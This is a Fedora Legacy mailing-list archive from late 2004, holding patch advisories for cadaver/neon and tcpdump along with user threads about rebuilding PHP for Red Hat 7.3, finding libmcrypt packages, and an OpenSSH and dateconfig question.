rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www.fedoralegacy.org/docs/ for directions on how to configure yum and apt-get. 5. Bug IDs fixed: http://bugzilla.fedora.us - 1552 - cadaver neon vulnerability (CAN-2004-0179) 6. RPMs required: Red Hat Linux 7.3: SRPM: http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/cadaver-0.22.1-1.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/7.3/updates/i386/cadaver-0.22.1-1.legacy.i386.rpm Red Hat Linux 9: SRPM: http://download.fedoralegacy.org/redhat/9/updates/SRPMS/cadaver-0.22.1-3.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/9/updates/i386/cadaver-0.22.1-3.legacy.i386.rpm 7. Verification: SHA1 sum Package Name --------------------------------------------------------------------------- 46931edc0f4e8ad25c994891938c103a45f28982 7.3/updates/SRPMS/cadaver-0.22.1-1.legacy.src.rpm 0c3742f3151d4dedc5e5320a3a4792f17e8bd2e4 7.3/updates/i386/cadaver-0.22.1-1.legacy.i386.rpm 6cc852676c85e9cc3dc8e472676185cdffabf09f 9/updates/SRPMS/cadaver-0.22.1-3.legacy.src.rpm 1a9d4e010885e902b2a6a994cfee5744b7f4afba 9/updates/i386/cadaver-0.22.1-3.legacy.i386.rpm These packages are GPG signed by Fedora Legacy for security. Our key is available from http://www.fedoralegacy org/about/security.php You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the sha1sum with the following command: sha1sum 8. References: http://security.e-matters.de/advisories/062004.html 9. Contact: The Fedora Legacy security contact is . More project details at http://www.fedoralegacy.org --------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Digital signature URL: From spamtrap433941935136 at anime.net Tue Dec 28 21:31:13 2004 From: spamtrap433941935136 at anime.net (Dan Hollis) Date: Tue, 28 Dec 2004 13:31:13 -0800 (PST) Subject: Repeat: call for rh7.3 libmcrypt, libmcrypt-devel Message-ID: I repeat my request for a rh7.3 libmcrypt, libmcrypt-devel. Without this, the updated php cannot be built. There are no rh7.3 binaries of the updated php. And yes I have searched. Turned up lots of nice libmcrypt RPMS requiring glibc2.3 and other stuff not on rh7.3 -Dan From jimpop at yahoo.com Tue Dec 28 21:36:08 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Tue, 28 Dec 2004 16:36:08 -0500 Subject: [Fwd: [FLSA-2004:1552] Updated cadaver packages that fix security vulnerabilities] Message-ID: <1104269768.5724.42.camel@blue> Just wondering what caused this to post so late. It just came in to bugtraq.... dated 29-Sep-2004. -Jim P. -------- Forwarded Message -------- > From: Dominic Hargreaves > Reply-To: Discussion of the Fedora Legacy Project > > To: fedora-legacy-announce at redhat.com, bugtraq at securityfocus.com, > full-disclosure at lists.netsys.com > Cc: fedora-legacy-list at redhat.com > Subject: [FLSA-2004:1552] Updated cadaver packages that fix security > vulnerabilities > Date: Wed, 29 Sep 2004 17:13:58 +0100 > ----------------------------------------------------------------------- > Fedora Legacy Update Advisory > > Synopsis: Updated cadaver resolves security vulnerabilities > Advisory ID: FLSA:1552 > Issue date: 2004-09-29 > Product: Red Hat Linux > Keywords: Security > Cross references: https://bugzilla.fedora.us/show_bug.cgi?id=1552 > CVE Names: CAN-2004-0179, CAN-2004-0398 > ----------------------------------------------------------------------- > > > ----------------------------------------------------------------------- > 1. Topic: > > Updated cadaver packages that fix multiple security vulnerability are > now available. > > 2. Relevant releases/architectures: > > Red Hat Linux 7.3 - i386 > Red Hat Linux 9 - i386 > > 3. Problem description: > > An updated cadaver package that fixes a vulnerability in neon exploitable > by a malicious DAV server is now available. > > cadaver is a command-line WebDAV client that uses inbuilt code from neon, > an HTTP and WebDAV client library. > > Versions of the neon client library up to and including 0.24.4 have been > found to contain a number of format string bugs. An attacker could create > a malicious WebDAV server in such a way as to allow arbitrary code > execution on the client should a user connect to it using cadaver. The > Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned > the name CAN-2004-0179 to this issue. This issue was addressed in a previous > update for Red Hat Linux 9. > > Stefan Esser discovered a flaw in the neon library which allows a heap > buffer overflow in a date parsing routine. An attacker could create > a malicious WebDAV server in such a way as to allow arbitrary code > execution on the client should a user connect to it using cadaver. The > Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned > the name CAN-2004-0398 to this issue. > > Users of cadaver are advised to upgrade to this updated package, which > contains patches correcting these issues. > > 4. Solution: > > Before applying this update, make sure all previously released errata > relevant to your system have been applied. > > To update all RPMs for your particular architecture, run: > > rpm -Fvh [filenames] > > where [filenames] is a list of the RPMs you wish to upgrade. Only those > RPMs which are currently installed will be updated. Those RPMs which are > not installed but included in the list will not be updated. Note that you > can also use wildcards (*.rpm) if your current directory *only* contains > the desired RPMs. > > Please note that this update is also available via yum and apt. Many > people find this an easier way to apply updates. To use yum issue: > > yum update > > or to use apt: > > apt-get update; apt-get upgrade > > This will start an interactive process that will result in the appropriate > RPMs being upgraded on your system. This assumes that you have yum or > apt-get configured for obtaining Fedora Legacy content. Please visit > http://www.fedoralegacy.org/docs/ for directions on how to configure yum > and apt-get. > > 5. Bug IDs fixed: > > http://bugzilla.fedora.us - 1552 - cadaver neon vulnerability (CAN-2004-0179) > > 6. RPMs required: > > Red Hat Linux 7.3: > > SRPM: > http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/cadaver-0.22.1-1.legacy.src.rpm > > i386: > http://download.fedoralegacy.org/redhat/7.3/updates/i386/cadaver-0.22.1-1.legacy.i386.rpm > > Red Hat Linux 9: > > SRPM: > http://download.fedoralegacy.org/redhat/9/updates/SRPMS/cadaver-0.22.1-3.legacy.src.rpm > > i386: > http://download.fedoralegacy.org/redhat/9/updates/i386/cadaver-0.22.1-3.legacy.i386.rpm > > 7. Verification: > > SHA1 sum Package Name > --------------------------------------------------------------------------- > > 46931edc0f4e8ad25c994891938c103a45f28982 7.3/updates/SRPMS/cadaver-0.22.1-1.legacy.src.rpm > 0c3742f3151d4dedc5e5320a3a4792f17e8bd2e4 7.3/updates/i386/cadaver-0.22.1-1.legacy.i386.rpm > 6cc852676c85e9cc3dc8e472676185cdffabf09f 9/updates/SRPMS/cadaver-0.22.1-3.legacy.src.rpm > 1a9d4e010885e902b2a6a994cfee5744b7f4afba 9/updates/i386/cadaver-0.22.1-3.legacy.i386.rpm > > These packages are GPG signed by Fedora Legacy for security. Our key is > available from http://www.fedoralegacy org/about/security.php > > You can verify each package with the following command: > > rpm --checksig -v > > If you only wish to verify that each package has not been corrupted or > tampered with, examine only the sha1sum with the following command: > > sha1sum > > 8. References: > > http://security.e-matters.de/advisories/062004.html > > 9. Contact: > > The Fedora Legacy security contact is . More > project details at http://www.fedoralegacy.org > > --------------------------------------------------------------------- > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list From joseph at ndimedia.com Tue Dec 28 21:39:11 2004 From: joseph at ndimedia.com (S.Joseph) Date: Tue, 28 Dec 2004 16:39:11 -0500 Subject: Repeat: call for rh7.3 libmcrypt, libmcrypt-devel References: Message-ID: <011401c4ed25$ab693c30$0302a8c0@LocalHost> Dan try these good luck http://dag.wieers.com/packages/libmcrypt/libmcrypt-2.5.7-1.dag.rh73.i386.rpm http://dag.wieers.com/packages/libmcrypt/libmcrypt-devel-2.5.7-1.dag.rh73.i386.rpm From dom at earth.li Tue Dec 28 21:50:51 2004 From: dom at earth.li (Dominic Hargreaves) Date: Tue, 28 Dec 2004 21:50:51 -0000 Subject: [FLSA-2004:1468] Updated tcpdump packages that fix multiple security vulnerabilities Message-ID: <20040929161226.GA11725@home.thedom.org> ----------------------------------------------------------------------- Fedora Legacy Update Advisory Synopsis: Updated tcpdump resolves security vulnerabilities Advisory ID: FLSA:1468 Issue date: 2004-09-29 Product: Red Hat Linux Keywords: Security Cross references: https://bugzilla.fedora.us/show_bug.cgi?id=1468 CVE Names: CAN-2004-0183, CAN-2004-0184 ----------------------------------------------------------------------- ----------------------------------------------------------------------- 1. Topic: Updated tcpdump packages that fix multiple security vulnerabilities are now available. 2. Relevant releases/architectures: Red Hat Linux 7.3 - i386 Red Hat Linux 9 - i386 3. Problem description: Tcpdump is a command-line tool for monitoring network traffic. Tcpdump v3.8.1 and earlier versions contained multiple flaws in the packet display functions for the ISAKMP protocol. Upon receiving specially crafted ISAKMP packets, tcpdump would try to read beyond the end of the packet capture buffer and subsequently crash. All users are advised to upgrade to these updated packages, which contain a backported fix and are not vulnerable to this issue. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www.fedoralegacy.org/docs/ for directions on how to configure yum and apt-get. 5. Bug IDs fixed: http://bugzilla.fedora.us - 1468 - tcpdump ISAKMP Packet Decoding Vulnerability 6. RPMs required: Red Hat Linux 7.3: SRPM: http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/tcpdump-3.6.3-17.7.3.6.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/7.3/updates/i386/arpwatch-2.1a11-17.7.3.6.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/libpcap-0.6.2-17.7.3.6.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/tcpdump-3.6.3-17.7.3.6.legacy.i386.rpm Red Hat Linux 9: SRPM: http://download.fedoralegacy.org/redhat/9/updates/SRPMS/tcpdump-3.7.2-7.9.3.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/9/updates/i386/arpwatch-2.1a11-7.9.3.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/libpcap-0.7.2-7.9.3.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/tcpdump-3.7.2-7.9.3.legacy.i386.rpm 7. Verification: SHA1 sum Package Name --------------------------------------------------------------------------- 3c236622c2f0815b257eb6df89470875844ab051 7.3/updates/SRPMS/tcpdump-3.6.3-17.7.3.6.legacy.src.rpm 1d7866f944b95a9350098803c1be9a9439ef9de1 7.3/updates/i386/arpwatch-2.1a11-17.7.3.6.legacy.i386.rpm 827884c667461dcd1624b666d29d83e50e4611cc 7.3/updates/i386/libpcap-0.6.2-17.7.3.6.legacy.i386.rpm 2e77a8344ce68a80fe484fae4e9e371b92dc25c2 7.3/updates/i386/tcpdump-3.6.3-17.7.3.6.legacy.i386.rpm 2a63dfe8422c135d41ec0655d1957b2ac6e348a2 9/updates/SRPMS/tcpdump-3.7.2-7.9.3.legacy.src.rpm e2e2cd142b0a4a50ab3b66a665d52e35fbe103aa 9/updates/i386/arpwatch-2.1a11-7.9.3.legacy.i386.rpm 3e7aad82c73a3250828b05e1308eb63a43c0d35e 9/updates/i386/libpcap-0.7.2-7.9.3.legacy.i386.rpm 39b28a5fc7bda074426736cfdbc6a2186979daa2 9/updates/i386/tcpdump-3.7.2-7.9.3.legacy.i386.rpm These packages are GPG signed by Fedora Legacy for security. Our key is available from http://www.fedoralegacy org/about/security.php You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the sha1sum with the following command: sha1sum 8. References: http://marc.theaimsgroup.com/?l=bugtraq&m=108067265931525&w=2 9. Contact: The Fedora Legacy security contact is . More project details at http://www.fedoralegacy.org --------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Digital signature URL: From mfedyk at matchmail.com Tue Dec 28 23:56:23 2004 From: mfedyk at matchmail.com (Mike Fedyk) Date: Tue, 28 Dec 2004 15:56:23 -0800 Subject: [FLSA-2004:1468] Updated tcpdump packages that fix multiple security vulnerabilities In-Reply-To: <20040929161226.GA11725@home.thedom.org> References: <20040929161226.GA11725@home.thedom.org> Message-ID: <41D1F2A7.3010008@matchmail.com> Your date is set wrong on your system. Hope I'm not the 50th person to say it though. Dominic Hargreaves wrote: >----------------------------------------------------------------------- > Fedora Legacy Update Advisory > >Synopsis: Updated tcpdump resolves security vulnerabilities >Advisory ID: FLSA:1468 >Issue date: 2004-09-29 >Product: Red Hat Linux >Keywords: Security >Cross references: https://bugzilla.fedora.us/show_bug.cgi?id=1468 >CVE Names: CAN-2004-0183, CAN-2004-0184 >----------------------------------------------------------------------- > > >----------------------------------------------------------------------- >1. Topic: > >Updated tcpdump packages that fix multiple security vulnerabilities >are now available. > >2. Relevant releases/architectures: > >Red Hat Linux 7.3 - i386 >Red Hat Linux 9 - i386 > >3. Problem description: > >Tcpdump is a command-line tool for monitoring network traffic. > >Tcpdump v3.8.1 and earlier versions contained multiple flaws in the >packet display functions for the ISAKMP protocol. Upon receiving >specially crafted ISAKMP packets, tcpdump would try to read beyond >the end of the packet capture buffer and subsequently crash. > >All users are advised to upgrade to these updated packages, which contain a >backported fix and are not vulnerable to this issue. > >4. Solution: > >Before applying this update, make sure all previously released errata >relevant to your system have been applied. > >To update all RPMs for your particular architecture, run: > >rpm -Fvh [filenames] > >where [filenames] is a list of the RPMs you wish to upgrade. Only those >RPMs which are currently installed will be updated. Those RPMs which are >not installed but included in the list will not be updated. Note that you >can also use wildcards (*.rpm) if your current directory *only* contains >the desired RPMs. > >Please note that this update is also available via yum and apt. Many >people find this an easier way to apply updates. To use yum issue: > >yum update > >or to use apt: > >apt-get update; apt-get upgrade > >This will start an interactive process that will result in the appropriate >RPMs being upgraded on your system. This assumes that you have yum or >apt-get configured for obtaining Fedora Legacy content. Please visit >http://www.fedoralegacy.org/docs/ for directions on how to configure yum >and apt-get. > >5. Bug IDs fixed: > >http://bugzilla.fedora.us - 1468 - tcpdump ISAKMP Packet Decoding Vulnerability > >6. RPMs required: > >Red Hat Linux 7.3: > >SRPM: >http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/tcpdump-3.6.3-17.7.3.6.legacy.src.rpm > >i386: >http://download.fedoralegacy.org/redhat/7.3/updates/i386/arpwatch-2.1a11-17.7.3.6.legacy.i386.rpm >http://download.fedoralegacy.org/redhat/7.3/updates/i386/libpcap-0.6.2-17.7.3.6.legacy.i386.rpm >http://download.fedoralegacy.org/redhat/7.3/updates/i386/tcpdump-3.6.3-17.7.3.6.legacy.i386.rpm > > >Red Hat Linux 9: > >SRPM: >http://download.fedoralegacy.org/redhat/9/updates/SRPMS/tcpdump-3.7.2-7.9.3.legacy.src.rpm > >i386: >http://download.fedoralegacy.org/redhat/9/updates/i386/arpwatch-2.1a11-7.9.3.legacy.i386.rpm >http://download.fedoralegacy.org/redhat/9/updates/i386/libpcap-0.7.2-7.9.3.legacy.i386.rpm >http://download.fedoralegacy.org/redhat/9/updates/i386/tcpdump-3.7.2-7.9.3.legacy.i386.rpm > >7. Verification: > >SHA1 sum Package Name >--------------------------------------------------------------------------- > >3c236622c2f0815b257eb6df89470875844ab051 >7.3/updates/SRPMS/tcpdump-3.6.3-17.7.3.6.legacy.src.rpm >1d7866f944b95a9350098803c1be9a9439ef9de1 >7.3/updates/i386/arpwatch-2.1a11-17.7.3.6.legacy.i386.rpm >827884c667461dcd1624b666d29d83e50e4611cc >7.3/updates/i386/libpcap-0.6.2-17.7.3.6.legacy.i386.rpm >2e77a8344ce68a80fe484fae4e9e371b92dc25c2 >7.3/updates/i386/tcpdump-3.6.3-17.7.3.6.legacy.i386.rpm >2a63dfe8422c135d41ec0655d1957b2ac6e348a2 >9/updates/SRPMS/tcpdump-3.7.2-7.9.3.legacy.src.rpm >e2e2cd142b0a4a50ab3b66a665d52e35fbe103aa >9/updates/i386/arpwatch-2.1a11-7.9.3.legacy.i386.rpm >3e7aad82c73a3250828b05e1308eb63a43c0d35e >9/updates/i386/libpcap-0.7.2-7.9.3.legacy.i386.rpm >39b28a5fc7bda074426736cfdbc6a2186979daa2 >9/updates/i386/tcpdump-3.7.2-7.9.3.legacy.i386.rpm > >These packages are GPG signed by Fedora Legacy for security. Our key is >available from http://www.fedoralegacy org/about/security.php > >You can verify each package with the following command: > > rpm --checksig -v > >If you only wish to verify that each package has not been corrupted or >tampered with, examine only the sha1sum with the following command: > > sha1sum > >8. References: > >http://marc.theaimsgroup.com/?l=bugtraq&m=108067265931525&w=2 > >9. Contact: > >The Fedora Legacy security contact is . More >project details at http://www.fedoralegacy.org > >--------------------------------------------------------------------- > > >------------------------------------------------------------------------ > >-- >fedora-legacy-list mailing list >fedora-legacy-list at redhat.com >http://www.redhat.com/mailman/listinfo/fedora-legacy-list > -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.298 / Virus Database: 265.6.6 - Release Date: 12/28/2004 From info at hostinthebox.net Tue Dec 28 22:30:05 2004 From: info at hostinthebox.net (Dan Trainor - hostinthebox.net) Date: Tue, 28 Dec 2004 15:30:05 -0700 Subject: PHP vulnerabilities? In-Reply-To: References: Message-ID: <41D1DE6D.5090708@hostinthebox.net> Dan Hollis wrote: > Stuart Low wrote: > >>I've been tardy in uploading the compiled RPMs (due to the Christmas >>break). The source RPM that's there will recompile happily though so you >>should be able to do rpmbuild --rebuild php-4.3.10.sp.src.rpm and end up >>with the subpackages. >>[For RH7.3 you can grab and rebuild >>http://au.seekbrain.com/downloads/psa/BUILD/php-4.3.10- >>sp.rh73.1.src.rpm] > > > # rpmbuild --rebuild php-4.3.10-sp.rh73.1.src.rpm > Installing php-4.3.10-sp.rh73.1.src.rpm > error: failed build dependencies: > libmcrypt is needed by php-4.3.10-sp.rh73.1 > libmcrypt-devel is needed by php-4.3.10-sp.rh73.1 > > I am having a rather hard time finding a libmcrypt rpm which will install, > let alone compile on rh7.3. I found a nice libmcrypt srpm which wants > autoconf 2.50, which of course does not exist on rh7.3. All the binary > libmcrypt rpms i've found want glibc2.3, which again does not exist on > rh7.3. > > What's an exact url for a libmcrypt binary rpm for rh7.3? > > -Dan > Alright, so... I'm going to have some free time here, and although I don't usually contribute to the RH7.3 tree, I'm going to give this a shot and see how it goes. The only thing that I can think of that would get this to work is if it's compiled in a static form. Is this acceptable? If not, I might just do it here to say that I did it, heh. Thanks -dant From spamtrap433941935136 at anime.net Wed Dec 29 01:18:52 2004 From: spamtrap433941935136 at anime.net (Dan Hollis) Date: Tue, 28 Dec 2004 17:18:52 -0800 (PST) Subject: PHP vulnerabilities? In-Reply-To: <41D1DE6D.5090708@hostinthebox.net> Message-ID: On Tue, 28 Dec 2004, Dan Trainor - hostinthebox.net wrote: > Alright, so... I'm going to have some free time here, and although I > don't usually contribute to the RH7.3 tree, I'm going to give this a > shot and see how it goes. The only thing that I can think of that would > get this to work is if it's compiled in a static form. Is this > acceptable? If not, I might just do it here to say that I did it, heh. Youre going to need curl >= 7.9.8, gmp >= 4 and libmcrypt 2.5.7. I'm still attempting to build rh7.3 php 4.3.10 from srpm, i'll let you know what results, if anything. -Dan From joseph at ndimedia.com Wed Dec 29 03:08:44 2004 From: joseph at ndimedia.com (S.Joseph) Date: Tue, 28 Dec 2004 22:08:44 -0500 Subject: PHP vulnerabilities? References: <41D1DE6D.5090708@hostinthebox.net> Message-ID: <02e601c4ed53$b4e10210$0302a8c0@LocalHost> if you're intrested here are my compiled versions of php-4.3.10-sp.rh73 http://sj.divisionweb.net/php/ they are "UAYOR" !~ From peter.peltonen at iki.fi Wed Dec 29 10:30:25 2004 From: peter.peltonen at iki.fi (Peter Peltonen) Date: Wed, 29 Dec 2004 12:30:25 +0200 Subject: PHP vulnerabilities? In-Reply-To: <02e601c4ed53$b4e10210$0302a8c0@LocalHost> References: <41D1DE6D.5090708@hostinthebox.net> <02e601c4ed53$b4e10210$0302a8c0@LocalHost> Message-ID: <41D28741.7060703@iki.fi> S.Joseph wrote: > if you're intrested here are my compiled versions of php-4.3.10-sp.rh73 > > http://sj.divisionweb.net/php/ Thanks for the binaries! But: Resolving dependencies .package php needs libxsltbreakpoint.so.1 (not provided) So what version of libxslt did you use and where did you find it? I am using: libxslt-1.1.8-1.i386.rpm from http://us.seekbrain.com/downloads/psa/7.3/ Regards, Peter From spamtrap433941935136 at anime.net Wed Dec 29 10:38:27 2004 From: spamtrap433941935136 at anime.net (Dan Hollis) Date: Wed, 29 Dec 2004 02:38:27 -0800 (PST) Subject: PHP vulnerabilities? In-Reply-To: <41D28741.7060703@iki.fi> Message-ID: On Wed, 29 Dec 2004, Peter Peltonen wrote: > S.Joseph wrote: > > if you're intrested here are my compiled versions of php-4.3.10-sp.rh73 > > http://sj.divisionweb.net/php/ > Thanks for the binaries! But: > Resolving dependencies > .package php needs libxsltbreakpoint.so.1 (not provided) > So what version of libxslt did you use and where did you find it? > I am using: > libxslt-1.1.8-1.i386.rpm > from > http://us.seekbrain.com/downloads/psa/7.3/ You can try mine? I compiled vs libxslt-1.1.8-1. http://bani.anime.net/php/ -Dan From joseph at ndimedia.com Wed Dec 29 13:12:16 2004 From: joseph at ndimedia.com (S.Joseph) Date: Wed, 29 Dec 2004 08:12:16 -0500 Subject: PHP vulnerabilities? References: <41D1DE6D.5090708@hostinthebox.net><02e601c4ed53$b4e10210$0302a8c0@LocalHost> <41D28741.7060703@iki.fi> Message-ID: <03a101c4eda8$05a14440$0302a8c0@LocalHost> libxsltbreakpoint.so.1 comes with /redhat/7.3/en/os/i386/RedHat/RPMS/libxslt-1.0.15-1.i386.rpm I used libxslt-1.0.33-5.src.rpm from RH Enterprise ES ----- Original Message ----- From: "Peter Peltonen" To: "Discussion of the Fedora Legacy Project" Sent: Wednesday, December 29, 2004 5:30 AM Subject: Re: PHP vulnerabilities? > S.Joseph wrote: >> if you're intrested here are my compiled versions of php-4.3.10-sp.rh73 >> >> http://sj.divisionweb.net/php/ > > Thanks for the binaries! But: > > Resolving dependencies > .package php needs libxsltbreakpoint.so.1 (not provided) > > So what version of libxslt did you use and where did you find it? > > I am using: > > libxslt-1.1.8-1.i386.rpm > > from > > http://us.seekbrain.com/downloads/psa/7.3/ > > Regards, > Peter > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list > From jimpop at yahoo.com Wed Dec 29 14:38:36 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Wed, 29 Dec 2004 09:38:36 -0500 Subject: PHP vulnerabilities? In-Reply-To: <03a101c4eda8$05a14440$0302a8c0@LocalHost> References: <41D1DE6D.5090708@hostinthebox.net> <02e601c4ed53$b4e10210$0302a8c0@LocalHost> <41D28741.7060703@iki.fi> <03a101c4eda8$05a14440$0302a8c0@LocalHost> Message-ID: <1104331116.8583.6.camel@blue> Hmmmm...... Me wonders if all these individual PHP downloads are good or bad for FL? Seems to me a lot of individual efforts (thank you Joseph and Dan) has gone into producing a fix for RH73. Yet, this effort was forced to go on outside of FL. The efforts are good, is the fact that it had to occur outside of FL good? -Jim P. From addi at root.is Fri Dec 31 07:43:59 2004 From: addi at root.is (=?ISO-8859-1?Q?S=E6valdur_Gunnarsson?=) Date: Fri, 31 Dec 2004 07:43:59 +0000 Subject: Still no updated PHP packages through Yum ? Message-ID: <41D5033F.1010607@root.is> Are there still no updated packages of PHP for FC1 in the Fedora-Legacy yum repository ? -- S?valdur Arnar Gunnarsson /> RHCE From temerson at cyberitas.com Fri Dec 31 17:05:18 2004 From: temerson at cyberitas.com (Tom Emerson) Date: Fri, 31 Dec 2004 10:05:18 -0700 Subject: Installing Language(s) after core install Message-ID: <41D586CE.70205@cyberitas.com> Searching/googling for HOWTO install additional languages on Core1/2/3, I'm finding only advice to re-install from scratch ... could somebody direct me to appropriate docs, or tell me that indeed I need to install from scratch to add additional languages? TNX! From spamtrap433941935136 at anime.net Fri Dec 31 19:42:22 2004 From: spamtrap433941935136 at anime.net (Dan Hollis) Date: Fri, 31 Dec 2004 11:42:22 -0800 (PST) Subject: PHP vulnerabilities? In-Reply-To: <1104331116.8583.6.camel@blue> Message-ID: On Wed, 29 Dec 2004, Jim Popovitch wrote: > Me wonders if all these individual PHP downloads are good or bad for FL? > Seems to me a lot of individual efforts (thank you Joseph and Dan) has > gone into producing a fix for RH73. Yet, this effort was forced to go > on outside of FL. The efforts are good, is the fact that it had to > occur outside of FL good? The fact it had to happen outside FL is bad I guess, it indicates FL isnt meeting its stated mission goals. But nobody has bothered to download the rpms so I guess nobody cares about rh73, FL, or php -- take your pick? -Dan From jimpop at yahoo.com Fri Dec 31 20:52:12 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Fri, 31 Dec 2004 15:52:12 -0500 Subject: PHP vulnerabilities? In-Reply-To: References: Message-ID: <1104526332.4773.10.camel@blue> On Fri, 2004-12-31 at 11:42 -0800, Dan Hollis wrote: > On Wed, 29 Dec 2004, Jim Popovitch wrote: > > Me wonders if all these individual PHP downloads are good or bad for FL? > > Seems to me a lot of individual efforts (thank you Joseph and Dan) has > > gone into producing a fix for RH73. Yet, this effort was forced to go > > on outside of FL. The efforts are good, is the fact that it had to > > occur outside of FL good? > > The fact it had to happen outside FL is bad I guess, it indicates FL isnt > meeting its stated mission goals. > > But nobody has bothered to download the rpms so I guess nobody cares > about rh73, FL, or php -- take your pick? I downloaded them and am currently running them on a production server. -Jim P. > > -Dan > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list From unix at bikesn4x4s.com Fri Dec 31 23:14:43 2004 From: unix at bikesn4x4s.com (Paul) Date: Fri, 31 Dec 2004 18:14:43 -0500 (EST) Subject: Still no updated PHP packages through Yum ? In-Reply-To: <41D5033F.1010607@root.is> References: <41D5033F.1010607@root.is> Message-ID: <36828.192.168.103.1.1104534883.squirrel@192.168.103.1> I really don't think this applies to FC1. I am running php-4.3.8-1.1. Although I can't remember if I updated that myself or through the update thingy. On Fri, December 31, 2004 2:43 am, S?valdur Gunnarsson said: > Are there still no updated packages of PHP for FC1 in the Fedora-Legacy > yum repository ? > > -- > S?valdur Arnar Gunnarsson /> RHCE > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list > From tseaver at zope.com Tue Dec 7 16:01:38 2004 From: tseaver at zope.com (Tres Seaver) Date: Tue, 07 Dec 2004 16:01:38 -0000 Subject: OpenSSH 3.9p1-portable PAM Authentication Remote Information Disclosure In-Reply-To: <41B5BFDB.8020200@ysu.edu> References: <41B5BFDB.8020200@ysu.edu> Message-ID: John Dalbec wrote: > Does this affect -Legacy? > 04.48.30 CVE: CAN-2003-0190 > Platform: Cross Platform > Title: OpenSSH-portable PAM Authentication Remote Information > Disclosure > Description: OpenSSH is an open source implementation of the Secure > Shell protocol. It is vulnerable to a remote information disclosure > issue that allows an attacker to guess valid user names on the target > system. OpenSSH version 3.9p1 is known to be vulnerable. > Ref: http://www.securityfocus.com/advisories/7575 No. RHSA-2003:222-01, issued 2003/07/29, fixed that issue for RH7.1 through RH9. http://lwn.net/Articles/41641/ Fedora Core 1 was cut after that point. Tres. -- =============================================================== Tres Seaver tseaver at zope.com Zope Corporation "Zope Dealers" http://www.zope.com From seitz at neopathnetworks.com Wed Dec 15 02:05:53 2004 From: seitz at neopathnetworks.com (Matt Seitz) Date: Wed, 15 Dec 2004 02:05:53 -0000 Subject: 7.3 dateconfig bug erases timezone files Message-ID: <41BF96EE.1040009@neopathnetworks.com> The Red Hat 7.3 version of "dateconfig" has a bug that causes a timezone files to be erased (see https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=66655). I can't find a 7.3 compatible version of "dateconfig" that fixes this. Any suggestions?